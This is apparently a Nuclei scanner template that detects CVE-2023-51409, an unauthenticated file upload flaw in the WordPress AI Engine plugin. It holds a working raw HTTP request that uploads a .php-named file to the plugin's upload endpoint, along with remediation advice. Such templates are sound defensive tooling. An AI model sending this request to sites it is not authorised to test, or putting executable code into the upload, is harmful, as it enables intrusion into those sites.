id: CVE-2023-51409

info:
  name: Jordy Meow AI Engine - Unrestricted File Upload
  author: pussycat0x
  severity: critical
  description: |
    Unrestricted Upload of File with Dangerous Type vulnerability in Jordy Meow AI Engine- ChatGPT Chatbot.This issue affects AI Engine- ChatGPT Chatbot- from n/a through 1.9.98.
  impact: |
    Unauthenticated attackers can upload files of dangerous types without restriction, potentially leading to remote code execution and complete system compromise.
  remediation: |
    Update AI Engine plugin to version 1.9.99 or later.
  reference:
    - https://github.com/Nxploited/CVE-2023-51409
    - https://github.com/RandomRobbieBF/CVE-2023-51409
    - https://patchstack.com/database/vulnerability/ai-engine/wordpress-ai-engine-plugin-1-9-98-unauthenticated-arbitrary-file-upload-vulnerability?_s_id=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2023-51409
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-51409
    cwe-id: CWE-434
    epss-score: 0.63077
    epss-percentile: 0.99122
    cpe: cpe:2.3:a:meowapps:ai_engine:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: meowapps
    product: ai_engine
    framework: wordpress
    publicwww-query: "/wp-content/plugins/ai-engine/"
  tags: cve,cve2023,wp,wordpress,wp-plugin,ai-engine,intrusive,vkev,vuln,ai

variables:
  filename: "{{to_lower(rand_text_alpha(7))}}"

http:
  - raw:
      - |
        POST /wp-json/mwai-ui/v1/files/upload HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate, br
        Content-Type: multipart/form-data; boundary=7b22c609c9ce879dadf1494f0a6b2071

        --7b22c609c9ce879dadf1494f0a6b2071
        Content-Disposition: form-data; name="file"; filename="{{filename}}.php"
        Content-Type: text/plain

        {{randstr}}.txt
        --7b22c609c9ce879dadf1494f0a6b2071--

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success":true'
          - '{{filename}}.php'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 490a004630440220009c774786a6c9a7dcf6be667ea2ec29c1eac6c1bc32894638d858206d40a74e02206e32ec20a2623a239b0891006f9709a89d6b7013d6b95de097413e82721b2601:922c64590222798bb761d5b6d8e72950